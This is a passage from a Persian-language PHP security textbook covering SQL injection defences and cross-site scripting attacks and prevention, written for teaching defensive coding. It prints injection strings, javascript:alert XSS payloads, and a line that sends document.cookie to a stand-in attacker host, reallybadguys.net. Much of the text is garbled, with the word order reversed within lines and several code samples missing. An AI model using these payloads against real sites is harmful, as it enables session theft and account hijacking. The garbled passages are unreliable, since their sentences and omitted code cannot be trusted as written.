 بود:  خواهد سالم کوئری یک حاصل، کوئری است، شده سازیپاک کاربر ورودی کهاکنون حال، این با

SELECT * FROM BOOKS WHERE variety=’math \’ or 1=’1’; 

 است چیزی همان دقیقا )که ندارد وجود شده مشخص مقدار این با دادهپایگاه در یفیلد هیچ که آنجا از

 و کرد نخواهد ارائه راای نتیجه هیچ کوئری این (، math' or 1=1 ; است:  نموده وارد مهاجم کاربر که

 خورد. می شکست تزریق

باهم برابرند و هنگام استفاده در  'math' or 1='1و  math' or 1=1شود که دو عبارت یادآور می

 بایست به آن توجه کنید.کدنویسی می

  جدیدی برنامه یک نمودن ایمن 6.4.4.2

 انتزاع ازتر عمیقی لایه یک با ابتدا از توانیدمی شما هستید، جدیدی برنامه یک ایجاد حال در شما اگر

 در گرفته قرار ،PHP 5 در MySQLی بهبودیافته پشتیبانی حالت، این کنید. در شروع را خود کار

 باید حتما شما گرا( کهشیء هم وای رویه )هم کندمی ارائه را قویهای قابلیت ،mysqli جدیدی افزونه

 را PHP شما که سته دسترس در صورتی در تنها mysqli پشتیبانی که کنید ببرید. توجه بهرهها آن از

 باشید.  کرده کامپایل with-mysqli=path/to/mysql_config--ی گزینه با
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 است: شده آورده ادامه در mysqli با کوئری یک نمودن ایمنجهت  کد ازای رویه ویرایش یک

 

 

 را کوئری یک اجرای و ساختن کار که کندمی فراهم را توابع از کاملی مجموعه یک mysqliی افزونه

 ایجاد ()safe تابع با باید قبلا که را حفاظتیگرفتن  نادیده نوع دقیقا امر این علاوه، دهند. بهمی انجام

 کند. می ارائه کردیم،می
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ای مقایسه مقدار در دقیقا است قبول قابل ? علامت آن، در که جایی تنها ،SELECTی گزاره یک در

 مورد باید را متغیر کدام که ندارید امر این کردن مشخص به نیازی شما که است دلیل همین است. به

 هم وکردن فرض هنادید هم که ()mysqli_stmt_bind_param تابع درون از غیر به قرارداد استفاده

 ”s“ که هستید نیز آن نوع کردن مشخص نیازمند همچنین شما اینجا در دهد؛می انجام را جایگزینی

 با برابر را متغیر افزونه، این شده، ارائه حفاظت از بخشی عنوان )به رودمی کار بهای رشتهنوع  جهت

 این انجامجهت  باید که ایکدنویسی و تلاش در بنابراین و کنیدمی مشخص شما که دهدمی قرار نوعی

جهت  ”d“ صحیح، عددجهت  ”i“ از عبارتند ممکن انواع شود(. سایرمی جوییصرفه کردید،می کار

 دودویی. ی رشتهجهت  ”b“ و اعشاری

 و mysqli_stmt_execute()، mysqli_stmt_bind_result مناسب نام با توابع

mysqli_stmt_fetch()، داشته وجود نتایجی دهند. اگرمی انجام را نتایج دریافت و کوئری اجرای 

 سازیپاک تزریق صورت در )که باشد نداشته وجودای نتیجه اگر دهید؛می نمایش راها آن شما باشد،

 و stmt$ منبع شما نهایت، دهید. درمی نمایش را ساده پیام یک داد( شما خواهد روی اتفاق این شده

 کنید. می آزاد حافظه از راها آن و بسته را دادهپایگاه ارتباط

های داده که فرض این )با روتین این ،”lemming“ با برابر مشروع کاربری ورودی یک به توجه با

 نمایش را« است پایینی بسیار هوش دارای صحرایی موش یک» دارد( پیام وجود دادهپایگاه در مناسبی

 متاسفیم،»ی ساده پیام روتین این ،”;lemming’ or 1=1“ مثل امتحانی تزریق یک فرض دهد. بامی

 دهد. می نمایش را« نشد یافتای نتیجه

 نشان اینجا در ما و کندمی ارائه را روتین همین از گرا شیء ویرایش یک همچنین mysqli 53یافزونه

  :کنید استفاده کلاس این از چگونه که دهیممی
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 جای به شیءگرا دهی سازمان و دستور یک از که باشد،می قبلی یشده بیانای رویه کد مشابه کد این

 برد. می بهرهای رویه کاملا کد یک

  کامل انتزاع 6.4.5

 که کنید فکر خود با است ممکن کنید،می استفاده ، PearDB قبیل از بیرونیهای کتابخانه از شما اگر

 این که چرا کنیممی کاربر ورودی سازیپاکجهت  کدی مورد در بحث صرف را زمان همه این ما چرا

 گام یک را انتزاع PearDBی دهند. کتابخانهمی انجام شما برای را کارها اینی همه معمولاها کتابخانه

 ها،روش بهترین اساس بر کاربر ورودی سازیپاکجهت  تنها نه برد،می ایمکرده بحث که چیزی از بالاتر

 دهد. بنابراین،می انجام نمایید، استفاده است ممکن کهای دادهپایگاه هرجهت  را کار این همچنین بلکه

ی گزینه هستید یک نگران SQL تزریق برابر در خودهای اسکریپت نمودنتر سخت مورد در شما اگر

 است.  جذاب بسیار
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 بستر یک در گسترده( راهای تست دلیل )به عتمادا قابل بسیارهای روتین PearDB چون هایی کتابخانه

 کنند. می فراهمرا  ،دادهپایگاه به توجه بدون و حمل قابل بسیار

 فردی ایده طبق باید است: شما واضح ضعف یک دارای هاییکتابخانه چنین از استفاده دیگر، سوی از

 بالاتر زیادی حد تا کنید مدیریت باید که را کدی مقدار و دهید انجام را خود یسینوبرنامه روند دیگری

 به تصمیم بگیرید. اگرها آن از استفاده خصوص در آگاهانه و دقیق تصمیم یک باید برد. بنابراین،می

 شما کاربران ورود سازیپاک کار واقعا موارد این که باشید مطمئن توانیدمی حداقل گرفتید،از آن  استفاده

 دهند. می انجام را

  تزریق برابر در خود حفاظت آزمودن 6.5

 خودهای اسکریپت داشتننگه ایمن از مهم بخش یک کردیم، بیان قبلیهای فصل در که طورهمان

 . هست ممکنهای نقص برابر در حفاظتها جهت آن آزمودن از عبارت

 کار این که است این ایدنموده حفاظت تزریق برابر در را خود شما اینکه از اطمینانجهت  روش بهترین

 کمکجهت  کنند. تزریق را SQL کد تا کنندمی تلاش که کنید ایجاد را هاییتست کنید، امتحان خود را

 در را کنندهسرگرم دقیقهای دستورالعمل بررسی و مشاوره توانیدمی احتمالا کار، این در راهنمایی و

 ارائه را تستی چنین از نمونه یک ما اینجا کنید. در مطالعه تزریق اکسپلویت یک اجرای خصوص

 .باشدمی SELECTی گزاره در تزریق برابر در حفاظتی کننده بررسی حالت این در که کنیم،می
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 با تزریق مختلف انواع کردن امتحان با کنید، ایجاد را هاییتست چنین از مجموعه یک که بود قرار اگر

ید. بیامی در را خود سازیپاکهای استراتژی در 54باگ نوع هر سرعت به ،SQL مختلف دستورات
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 برابر در واقعی حفاظت دارای شما که باشید مطمئن توانیدمی شدند، تصحیح موارد این که هنگامی

 هستید.  تزریق تهدید

  خلاصه 6.6

های سازیپاک از ناشی شماهای اسکریپتجهت  خاص تهدیدات خصوص در خود بررسی  اینجا در ما

 کارکرد چگونگی توصیف از بعد نمودیم. آغاز SQL تزریق خصوص در بحثی با را کاربر ورودی ناقص

 یک ادامه گیرد. در قرار تزریق معرض در تواندمی چگونه PHP که نمودیم مشخص دقیقا ،SQL تزریق

 انجام توانیدمی شما که کردیم معرفی را گام سری یک کردیم. سپس، ارائه را تزریقی چنین از واقعی مثال

 میان در ارسالی مقادیر تمامی که شوید مطمئن که صورت این به شود اثربی تزریق،برای  تلاش تا دهید

 با و کاربران سوی از شده ارسال مقادیر انواع بررسی با شوند، داده قرار قول نقلهای علامت

 خود. کاربران ورودی در بالقوه خطر دارای کاراکترهایانگاشتن نادیده

 تقویتجهت  را هاییاسکریپت و نمایید انتزاعی را خود اعتبار تاییدهای روتین شما که دادیم پیشنهاد

 راه معایب وها مزیت به ادامه، کردیم. در ارائه جدیدی برنامه یک نمودن ایمن و موجودی برنامه یک

 برابر در خود حفاظت تستجهت  را مدلی ما نهایت، پرداختیم. در سوم طرف انتزاعیهای حل

 کردیم. ارائه تزریق، به منجر امتحانی SQLهای برنامه

های اسکریپت داشتننگه ایمن منظور به کاربر ورودی اعتبار تایید بعدیی مرحله به هفتم فصل در

PHP سایتی.  بین نویسیاسکریپت از پردازیم: ممانعتمی شما 
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 (XSS)سایتي بین نویسياسکریپت از : ممانعت هفتم فصل 7

 تاریخچه 7.1

 Cross Site Scriptingدر این فصل مي خواهیم با ممانعت از اسکریپت نویسي بین سایتي یا 

، به منظور می باشد Cascading Style Sheetsمخفف عبارت CSS از آنجا که . آشنا شویم

  .نسبت داده اند Cross Site Scripting را به  XSSجلوگیری از بروز اشتباه، 

و سالهای اولیه صفحات وب باز  1996به سال  XSS های امنیتی در معرض حملاتتاریخچه حفره

ها از زبانهای گاهجا افتاده بود و طراحان وب HTTP تکلگردد. نفوذگران در آن زمان که پرومی

شود بردند، دریافتند وقتی کاربران معمولی وارد سایتی مینویسی مانند جاوا اسکریپت سود میپردازه

گاه، صفحه دیگری را در همان صفحه بارگذاری کرد های امنیتی وبتوان به کمک کدنویسی در حفرهمی

ها (Cookie)های کاربر مانند نام کاربری، گذرواژه و یا کوکیاوا اسکریپت دادهسپس با سود بردن از ج

 .را دزدید

 ها این مشکلات را به ضعف امنیتی مرورگرها نسبت داده بودند. شرکت ارتباطیدر این هنگام رسانه

Netscape   بود که جزو اولین تولیدکنندگان مرورگرهای وب و همچنین سازنده زبان جاوا اسکریپت

گاه را های خارج از دامنه وبسیاست دامنه شخصی را به این زبان افزود که جلوی دسترسی به آدرس

 .کردگرفت و تا حدودی این حملات را محدود میمی

 شما کاربرانهای دادهجهت  تهدید پیرامون بحث با را PHP ایمن یسینوبرنامه روی بر خود بررسی ما

 سایتی بین نویسیاسکریپت نام با کاربری خطرناک ورودی از تخصصی بسیار ویرایش یک از ناشی

(XSSادامه ) تزریق داد. برخلاف خواهیم SQL تا کندمی تلاش که ششم(، فصل در شده )بحث 

 شود،می اجرا عموم دید از دور و نماید اضافه دادهپایگاه کوئری یک درون به را SQL مخرب دستورات

XSS یک روی بر ادامه در که کند مقادیری وارد را جاوااسکریپت کد یک یا مخرب کد تا کندمی تلاش 

 شوند. می داده نمایش وبی صفحه

 گول را وی که صورت این به ببرد بهره سایتوب یک به کاربر اعتماد از تا کندمی تلاش مخرب کد این

 کند. ارسال دیگر، اعتماد غیرقابل سایت یک به را اطلاعاتی یا دهد انجام را فعالیتی تا بزند
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 کندمی وانمود که دهد قرار لینک یک ،عمومی 55فروم یک در بخواهد است ممکن مهاجم یک مثال، برای

 ارسال ویبرای  را کندمی کلیک آن روی بر که کاربری هر لاگین اطلاعات واقع در ولی است ضرربی

 لاگین فرم یک که دهد قرار عمومی فروم ورودی یک درون را کدی است ممکن مهاجم یک کند. یا،می

جهت  اعتماد، مورد سایت به ارسال جای به را اطلاعات این و دهدمی نمایش را جعلی جستجوی یا

 کند.  ارسال ،مهاجم فرد سرور

غیرفعال  از عبارت کنند مقاوم XSSی حمله برابر در خود از توانندمی کاربران که یعتمادا قابل راه تنها

 که چرا شد نخواهد تبدیل مقبول استاندارد یک به زیاد احتمال به امر . اینهست اسکریپت جاوا کردن

اگرچه گاهی اوقات اسکریپت نویسی با جاوا . هستند خواهان وب صفحات در  را قابلیت این کاربران

می شود . اما فراموش  XSSاسکریپت در صورت نا امن بودن کدها ، موجب بوجود آمدن حفره های 

 شوند.نشود جاوا اسکریپت موجب غنا بخشیدن به طراحی صفحات وب می

 مورد را چیزهایی ما ،XSSی حمله یک اجرای متعددهای روش از تعدادی بررسی از بعد فصل، این در

 ایجاد مانع تا دهید انجام توانیدمی PHPی دهنده توسعه یک عنوان به شما که داد خواهیم قرار بحث

 تعمیر و بینیپیش قابل سختی به توانندها میفرصت شوید. این خودهای برنامه در XSSهای فرصت

 حال، این هستند. با برنامه یک معمولیی استفاده الگوی از فراتر بسیار اغلب که چرا باشند

 هستند.  خوبی شروع کنیم،می ارائه فصل این در ما که هاییاستراتژی

7.2 XSS کندمي کار چگونه  

 هماهنگی هستند. مرکز نویسیاسکریپت نوعی شامل معمولا ،سایتی بین نویسیاسکریپت حملات

CERT خصوص در متولی مناسبی معمولا ،ملون کارنگی دانشگاه در XSS این در .شودمی محسوب 

 نمود.  خواهیم آشنا  XSS متعدد اشکال از تعدادی با را شما ما بخش،
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  نویسياسکریپت 7.2.1

های اسکریپت مورد در ما است، نویسیاسکریپت نوعی شامل XSS که نمودیم بیان قبلا که هنگامی

PHP و شده اجرا سرور روی برها اسکریپت این که دلیل این به .کردیمنمی صحبت HTML تولید را 

 کردیممی صحبتها اسکریپت از انواعی مورد در ما واقع، شود. درمی ارسال مرورگرجهت  که کنندمی

 شوند.  اجرا مرورگر توسط و باشند شده داده قرار HTML درون است ممکن که

 خود مختص HTML تگ دارای کدام هر که دارد، وجود هاییاسکریپت چنین از معمول نوع پنج

 باشد: می

• <script> یا اسکریپت جاوا افزودنجهت  معمولا که VBScript گیرد. می قرار استفاده مورد 

• <object> یا فلش پلیرها، مدیا قبیل از ها، کنترل به وابستههای فایل افزودنجهت  معمولا 

 شود. می استفاده اکتیوایکس اجزای

• <applet> در شده حذف شود؛می استفاده جاواهای اپلتجهت  تنها HTML 4.01 دلیل به  

<object> در پشتیبانی عدم رغمعلی ،گستردهی استفاده مورد همچنان ولی XHTML 1.0 

Strict DTD  . 

• <iframe> ی صفحه روی بر فریم یک درون وب صفحات افزودنجهت  استفاده مورد 

• <embed> در استفاده عدم ای؛ رسانه فایل یک اجرایجهت  استفاده مورد HTML 4.01 به 

 پشتیبانی مورد نتیجه در و گستردهی استفاده مورد همچنان ولی <object> با جایگزینی دلیل

 مرورگرها.  تمامی

 یک از خاص شکل یک ،<img> تگ یک با مرورگر توسط شده رندر تصویر، یک که داشت توجه باید

<object> تصویر تگ درون مرورگرها از بعضی در را مخرب کدهای که است ممکن بنابراین و است 

 داد.  قرار

 انجامرا  کاری هر تواندمی تقریباها اسکریپت این از یکی طریق از برنامه یک به شدهاضافه مخرب کد

 یک رویهای لینک تغییر کوکی، یک مقداری مشاهده ،مشتری مرورگر دور راه از کنترل دهد: اتخاذ

 که جعلی فرم یک ایجاد یا دیگر URL یک به انتقال (،DOM از بخشی هر تغییر واقع، )در صفحه

را شروع  دیگر مخرب فعالیت یک یا و کندمی ارسال مهاجم یک به و کرده آوریجمع را اطلاعات
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ها آن برابر در حفاظت وها آن تعریف که شودمی باعث ممکنهای سوءاستفاده گوناگونی . همینکندمی

 باشد.  دشوار حد این تا

اسکریپت نویسی بین سایتی که قبلا مورد آزمایش و تست قرار گرفته است تهیه فهرستی از حملات 

شده که به برخی از آنها اشاره می شود . این فهرست یک منبع عالی جهت استفاده از تست برنامه های 

 .خودمان می باشد و مطالعه آن به ما کمک می کند که نقص های برنامه خود را رفع نماییم

 از استفاده شامل اکسپلویت موارد، این از کدام هر ایم. درآورده را مثالی نمونه یک اینجا در ما

 به کامل دسترسی دارایها اسکریپت این  باشد. ولیمی هشدار یک نمایشجهت  تنها ،جاوااسکریپت

DOM ند. نک ارسال خود سرور به را آن از بخشی هر تواندمی بنابراین و بود دنخواه اسکریپت جاوا 

<body background="javascript:alert('xss - gotcha!')"> 

 که شودمی اجرا زمانی و شودمی وارد پیام صفحه یک روی بر پیام یک از بخشی عنوان به دستور این 

 شود. می داده نمایش پیام این

<iframe src=”javascript:alert('xss - gotcha!')”></iframe>  

 شود.  داده نمایش ادامه در و شود وارد جایی هر در تواندمی نیز مورد این قبلی، مثال مانند

 

 داد.  قرار فرم یک در متن ورود فیلد یک درون توانمی را مورد این

 )نه قرارداد استفاده مورد واقعیهای اکسپلویت از مختلفی تعدادجهت  توانمی راها روش این از کدام هر

 یا شمای برنامه کاربر یک هویت سرقتجهت  مثال،جهت  است(، شده داده نشان اینجا در که اکسپلویتی

 سیستم.  مدیر هویت حتی

 XSS حملات بندیدسته 7.2.2

 کنیم. می معرفی واقعی، مثالچند در مورد  بحث از قبل را XSS حملات کلیی دسته دو ما

 (Reflect) برنامه سایت به خارجي سایت 7.2.2.1

 سایتوب یک طریق از یا و ایمیل پیام یک طریق از یا شودمی اجرا بیرونی صورت به حمله نوع این

 ارسال را فرمی یا و کند لود را تصویر یک کند، کلیک لینک یک روی بر تا شودمی زده گول دیگر. کاربر

 برنامه در را نامطلوب کاری مخرب، کد این ادامه، در است؛ شده مخفی آن در مخرب کد یک که کند
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 برنامه سایت روی بر فعالی جلسه یک دارای کاربر که است آن نیازمند معمولا امر دهد. اینمی انجام

 مکانیسم و حمله ماهیت به بسته حال، این بود(. با خواهد بیهوده حمله این صورت، این غیر )در باشد

 نماید.  عبور لاگین فرآیند از مشکلی هیچ بدون بتواند است ممکن حمله برنامه، لاگین

 یک موضوع GET['subject']_$  آن در که است زیر مانند به URL یک ،کدی چنین از مثال یک

 :  باشدمی جدید مهمان پست

 

 خودکار صورت به نباید ایمیلهای مشتری چرا که کندمی ارائه را کنندهقانع دلیل یک حمله نوع این

 باعث تواندمی تصویر یک srcی خصیصه که چرا نمایند لود اعتماد، غیرقابلهای سایت از را تصاویر

 ارسال سوم طرف یکجهت  را GET درخواست یک خودکار صورت به ایمیل مشتری یک که شود

 کند. 

 مورد خاص زمانی مدتجهت  که را جلساتی قوی شکلی به باید شماهای برنامه چرا اینکه  همچنین و

 به ولی باشدمی شمای برنامه به باز ایمن ارتباط یک دارای که کاربر نمایند. یک منقضی نیستند، استفاده

 امنیت برای جدی تهدید یکی دهنده نشان است رفته چت سایت یک روی بر دیگر کارهای سراغ

 باشد. می شماهای داده و برنامه

 (Save) خارجي سایت یک یا سایت همین به برنامه سایت 7.2.2.2

 کندمی استفاده سوء شمای برنامه به کاربر یک اعتماد از که شودمی اجرا محلی صورت به حمله نوع این

 بداند( تا مشروع و اعتماد مورد را برنامه در شده ظاهرهای لینک تمامی وی که شودمی این به منجر )که

 که دهدمی قرارای رشته یا و نظر یک درون را مخرب بار یک یابد. مهاجم دست مخرب هدف یک به

 کاربر یک مرورگر توسطی رشته حاویی صفحه که کند. هنگامیمی ذخیره برنامه درون را کاربر ورودی

 یک طریق از یا و سایت همین روی بر یا شودمی انجام نامطلوب فعالیت یک شود،می پردازش و لود

URI سایتی(. )بین خارجی 

 : زیر هست شکل به لینکی از عبارت ،این از مثال یک
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 کند، بررسی باید را چیزی چه که بداند تا بردمی لینک این روی بر را خود موس کاربر اینکه، محض به

 ویی جلسه کوکی که بردمی PHP اسکریپت یک به را مرورگر و شودمی فعال مهاجم اسکریپت جاوا

 شود. می ارسال  GET['cookie']_$ عنوان به و شده URL کد نیا که دزدمی را

 STATCOUNTER سایتی بین نویسیاسکریپت نقص

STATCOUNTER جاوا کد از کوچکی تکه یک است؛ کاربران آمار معروفی دهنده ارائه یک 

 تا کندمی برقرار ارتباط STATCOUNTERی دادهپایگاه با سایتوب یک روی بر اسکریپت

 .گیرد قرار استفاده مورد ،ییآمارها ایجادجهت  تواندمی ادامه در که نماید ذخیره را کاربر اطلاعات

  

 مختص اطلاعات شد. با پیدا StationX در هاوس ناتان توسط نقص یک ،2005می ماه پنجم در

 STATCOUNTER کد حاویی صفحه منبعی مشاهده با )که است موجود قبلی کد در که سایت
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 قربانی STATCOUNTER رابط درون به زیر کد تزریق به قادر مهاجم باشد(،می مشاهده قابل

 باشد: می

 

 فیلترهای از را آن تا کندمی رمزگذاری HTML اشیا عنوان به را استفاده سوء کد این مهاجم ابتدا، در

STATCOUNTER شکل:  این به دهد، عبور 

 

 صورت:  این به کند،می تزریق PHP اسکریپت یک با را اکسپلویت کد مهاجم ادامه، در

 

 سایت وب آمارهای تا شودمی خود حساب وارد و رفته Statcounter سایتوب به قربانی که هنگامی

 داده نشان نتایجی صفحه روی بر camefrom عنوان به شده ارسال مقدار نماید، مشاهده را خود

 با مهاجم سرور روی بر اسکریپت یکجهت  را درخواستی مرورگر که شودمی باعث امر شود. اینمی

 قادر اسکریپت باشد. اینمی GET_$ متغیر یک عنوان به جلسه، ID شامل که نماید ارسال سند کوکی

 کند.  استفاده کاربر عنوان به خود جازدنجهت  کوکی مقدار از که بود خواهد

 بود کاربر توسط ارسالی مقدار یک مناسب سازیپاکجهت  Statcounter ناتوانی از ناشی نقص این
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 است.  نشده گرفته نادیده HTML سند یک در همچنین و شودمی داده نمایش بعدا که

 بر PHP در ()htmlentities تابع اعمال با را آن فورا Statcounter ،نقص این از یافتن اطلاع هنگام

 هیچ است مشخص که جایی . تانمود حل GET['user']_$ متغیر همراه به شده حمل مقدار روی

 نداد.  رخ گاههیچ واقعیی استفاده سوء

 http://seclists.org/lists/fulldisclosure/2005/May/0102.htmlمنبع: 

 

 

 

 XSS  حملات نمونه 7.3

 مجربی دهندگانتوسعه شد. حتی مانع و کرده بینیپیش توانمی سختی به را سایتیبین نویسیاسکریپت

 ممکن اشکال سایر برابر در است ممکن هستند حملات از جلوگیریجهت  تلاش در فعال صورت به که

 ،کافی متفاوتهای مثال ماشبرای  توانیممی ما حال، این باشند. باپذیر آسیب نیستند، آشنا آن با که حمله

جهت  پایه یک عنوان به و آورده دستبه را موجود مشکلات از عملیاتی دانش یک تا کنیم ارائه

 گیرند.  قرار استفاده مورد خود، کد درها آن از جلوگیری چگونگیجهت  ما پیشنهادات

  :نماید می تواند به انجام اعمالی از قبیل موارد زیر اقدامXSS  با بهره گیری از مهاجمیک 

لینک به ، اعمال کدهای تخریب کننده، ربودن کوکی ها، ربودن حسابها،  تغییر تنظیمات کاربر

 .راه اندازی تبلیغات کاذب،  های مخربسایت

 CSS و HTML حملات 7.3.1

 درون CSS و HTML محتوای افزودن از است عبارت XSS حملات ترینواضح و تریناساسی

HTML شما سایت روی بر ادامه در که دیگریی مقوله یا نظر یک در آن دادن قرار با شما سایت 

 هر نیستند: بهای استفاده سوء چنین از جلوگیریجهت  قدرتی دارای ضرورتا شود. کاربرانمی ارسال
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 را تصاویر یا اسکریپت جاوا که شکلی به خود مرورگر در را HTML رندر توانندنمی هاآن حال،

 نمایند.  غیرفعال کنند،می خاموش

 را صفحه یکی همه یا و بعضی تواندمی دهدمی انجام را شکل این به اکسپلویتی که مهاجم یک

 چه کنید نماید. تصور ایجاد کاربران تعاملجهت  را هاییلینک و رسمی شبههای فرم و نموده مخدوش

همراه با یک لینک جهت ادامه کار به شما ارسال کند ، چه   (…,Sorryپیام زیر را ): افتدمی اتفاقی

 افتد.اتفاقی می

 

 یک بستر در را بالا پیام دادن نمایش خروجی 1-7 تصویر در ما کنید تصور را آن توانیدنمی اگر البته،

 دهیم. می نشان پیام، بورد

 XSS اکسپلویت یک : خروجی1-7 تصویر
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 مخرب، کد توسط و اندرفته دست از کامل طور به مهاجم پیامی جمله اولین و اولیه مجازی چارچوب

 بر کند: رفتنمی ایجاد را بیشتری ابهام شده، افزوده کد در href ="#" یاند. مشخصهشده بازنویسی

 که کسی دهد. هرمی نشان را جاریی صفحه از 56مجددبارگذاری یک تنها وضعیت نوار در لینک روی

 ،GET_$ متغیر یک با URL یک به کند کلیک ،شده داده نمایش لینک روی منطقی( بر صورت )به

 پیام در شده داده نشان اسکریپت جاوا کد توسط انتقال شود. اینمی منتقل جاری،ی جلسه کوکی حاوی

 شود: می انجام 2-7 تصویر از قبل

window.location = 'http://reallybadguys.net/cookies.php?cookie=' + 

document.cookie ;.  

باشد. می، شدهمیزبانی reallybadguys.net درکه  cookies.phpدر فایل  ،اساسی مکانیسم اینجا، در

 کافی خود، سایتوب روی بر نشده فیلتر کد به اجازه خصوص در شما ترساندنجهت  باید امر این

 باشد: 

 

 cooki.phpفایل 

 باز جایی به سپس و نموده ارسال مهاجمجهت  را کاربر کوکی و اصلی سایت URI اسکریپت، این

 به شدهایمیل اطلاعات نماید. این پنهان را کاریخراب این کهآنجهت  است، بوده قبلا که گرددمی

 را است کرده کلیک لینک روی بر که را فردی هویت شود، متصل خبری بورد به تا دهدمی اجازه مهاجم

 که یابد در تا کند کلیک لینک روی بر سیستم مدیر یک اگر است، هویت سرقت همان . ایننموده اتخاذ

 که زمانی تا رفت خواهد دست از پیام بورد کل آنگاه باشد،می عجیب پیام این نمایش حال در سرور چرا

                                                   

 

 

56 Reload 
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 ما کنیدمی فکر که صورتی )درنماید.  لغو خود، شدن خارج با را جلسه این و برده پی خود اشتباه به وی

 نشان شما به فصل اینی ادامه در که دهیممی اطمینان شما به کنیم،می تشویق را منفی اقدامات اینجا در

 دهید.(  شکست را حمله نوع این چگونه که دهیم

  اسکریپت جاوا حملات 7.3.2

 از استفاده از عبارت شود اجرا تواندمی XSS نویسیاسکریپت بخشتوسط  که دیگری معمول روش

 جاوا از کوچکی تکه یک افزودن . باهست وب مرورگرهای اغلب در موجود داخلی اسکریپت جاوا

 جلسه، ID یک )معمولا document.cookie مقدار تواندمی مهاجم یک صفحه، یک درون اسکریپت

 کند.  ارسال دیگر سرور یک به را JavaScript DOM از دیگریی تکه هر دیگر( یا اطلاعات گاهی

 همراه به و یابد انتقال مهاجم، انتخابی URI به مرورگر که شود باعث است ممکن معمولی حمله یک

 حمل،  URI کوئریی رشته به GET_$ متغیر عنوان به شده افزوده جاریی جلسه کوکی مقادیر خود

 : دادیم نشان قبلا ،مخرب پیام در مخرب کد خط چهار این در که طورهمان نماید،

 

 اگر که است این ،انتقال شروعجهت  اسکریپت جاوا در onclick رخداد از استفادهجهت  دلیل یک

URI ی خصیصه در مخربhref بر کاربر رفتن با مرورگر وضعیت نوار در باشد، شده وارد مرجع تگ 

 یک ایجادجهت  آن توانایی از اصلی( عبارت )و ثانویه دلیل یک البته،شود. می مشخص لینک، روی

URI متغیر عنوان به کوکی یک با $_GET است چیزی این که است این سوم دلیل یک . ولیهست 

 است. اگر آن روی بر کلیکجهت  لینک به کاربر اعتماد اساس بر حمله نوع این ،دارد انتظار کاربر که

 نیاز مورد کلیکی و کندمی عمل فورا حمله شود، استفاده آن جای به onmouseoverی خصیصه یک

 که دلیل این به کندمی بازیابی را خود که صفحه یک عجیب رفتار متوجه مطمئنا کاربر بود. ولی نخواهد

 شد.  خواهد است، رفته لینک یک روی بر
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7.3.3 URI شده جعل  

 بر را فعالیت نوعی که کندمی جعل را هاییURI که است مهاجم یک شامل دیگر XSS روش یک

 کلیکها آن روی بر ناخواسته صورت به مشروع کاربر یک که هنگامی دهند،می انجام شما سایت روی

 این:  مثل کند،می

 

 آغاز را کلیکی تک خرید یک کند،می کلیک!” Special Reductions“ لینک روی بر کاربر که هنگامی

 ولی دارد بستگی onclick.php در موجود منطق به خیر یا شودمی موفق امر این اینکه نماید. البته،می

 خرید نام با را رفتاری چنینی اجازه که نمود تصور را خرید سبد از برداریبهره یک توانمی سادگی به

 کند. می ارائه ناگهانی،

  شده جعل تصویر 7.3.4

 در خاص فعالیتی انجامجهت  کاربر زدن گولجهت  تصویر src خصایص از،  XSS از دیگر نوع یک

 اینکه از غیر به باشدمی بالا در جعلی فعالیت استراتژی با مشابه دقیقا کند. اینمی استفاده شما،ی برنامه

 شود.  شروع حمله تا ندارد خاصی کار هیچ انجام به نیازی حتی کاربر

 

 یک واقع در و شود افزوده مشتری خرید سبد به آیتم یک که شودمی باعث تصویر این ،بارگذاری هنگام

 کند.می باز وی برای را جدید سبد

 بلکه نیست نفوذجهت  تلاشی این است؛ دقیق بسیاری جعلی تصویر این در شده داده قراری حمله

 وجود شما، توسط ایمن ظاهرا خرید سبد یک یارائه در که است اعتمادی شکستنجهت  است تلاشی

 آیتم اگر حتی و شود، متوجه اگر نشود. ولی خود سبد در اضافی آیتم این متوجه کاربر است دارد. ممکن

 را آن که کرده دریافت پورسانت مهاجم که باشد خاص برند یک است ممکن )که کند حذف را مهاجم

 خواهد دست از shopping.example.com آنلاین فروشگاه به را خود اعتماد مطمئنا نماید(، تبلیغ

 داد.
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 که دهد اجازه کاربران به شمای برنامه نیستند. اگر src خصایص با HTMLهای المان تنها تصاویر،

URIآنگاه پیام(، ارسال بورد یک در موجود مثالجهت  موارد )شامل نمایند مشخص را تصاویر های 

 داده اجازه برنامه یک در <img>های تگ اگر باشید. حتی شکننده خطر، این برابر در است ممکن

 دیگری المان روی بر را زمینهپیش تصویر یک که باشد داشته وجود امکان این است ممکن شد،نمی

 مرورگرها، از بعضی در <table> تگجهت  ، و 57استایلی خصیصه یک از استفاده با یا نمود مشخص

 این:  به شبیه چیزی

 

ی زمینهپیشجهت  را تصویر این که نمود خواهد تلاش مرورگر شود،می مشاهده صفحه این که هنگامی

 شد. خواهد کاربر خرید سبد به 236# آیتم افزودن به منجر که نماید، لود جدول،

  فرم اضافيهای المان 7.3.5

 را گناهبی ظاهر به فرم یک که دارد وجود امکان این فعالیت، هایURI جعل با مشابهی حمله یک در

 عنوان به شده حمل مخرب کد مقداری با احتمالا دهد،می انجام را مترقبهرغی فعالیت یک که نماییم ایجاد

 درخواست یک تنها از بیش چیزی شامل است ممکن جستجو فرم یک مثال، برای .POST_$ متغیر

 باشد:  کوئری
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  را 236# آیتم یک تا نمود خواهد تلاش شدن ارسال هنگام ولی است، ساده جستجوی فرم یک شبیه این

 کد که کاری مانند به درست کند، اضافه مشتری خرید سبد بهکه خود ایجاد نموده ایم به طور ناخواسته 

 شکند. می را شمای برنامه به کاربر اعتماد از اندکی هم باز شود موفق اگر و کرد،می قبلی

  حملات سایر 7.3.6

 نیز مرورگرهای افزونه و فلشهای فیلم در ActionScript جاوا،های اپلت از استفاده از ناشی حملات

ها آنجهت  مشابهی کلی مفاهیم ولی هستند مستند اینی گستره از خارج موارد هستند. این پذیرامکان

 شماهای اسکریپت درها المان این از کدام هر در کاربر ورودی که دهید اجازه شما شود. اگرمی اعمال

 هستند. مواردی چه شاملها این که باشید مراقب باید گیرد، قرار استفاده مورد

<object width="300" height="100" type="" data="a.php?item=20"></object> 

 می تواند عملیات تخریب انجام دهد a.phpحال نفوذگر می تواند در فایل 

 XSS از 58ممانعت 7.4

 و تست نهایی مراحل در نه و است طراحی حال در رابط که شودمی آغاز زمانی XSS از موثر ممانعت

 هستند فرم ارسال به متکی که هاییبرنامه مثال، یافتید. برای را اکسپلویت اولین آنکه از بعد آن از بدتر یا

های رشته طریق از که ییهاآن تا هستند شکننده حملات برابر در کمتر بسیار ،(POSTهای )درخواست

 که است اهمیت دارای نکته این دهند. بنابراین،می کنترلی ( اجازهGETهای )درخواست URI کوئری

 عنوان به متغیرهایی وها فعالیت چه که شود مشخص باید، برنامه یک رابط کد خط اولین نوشتن از قبل

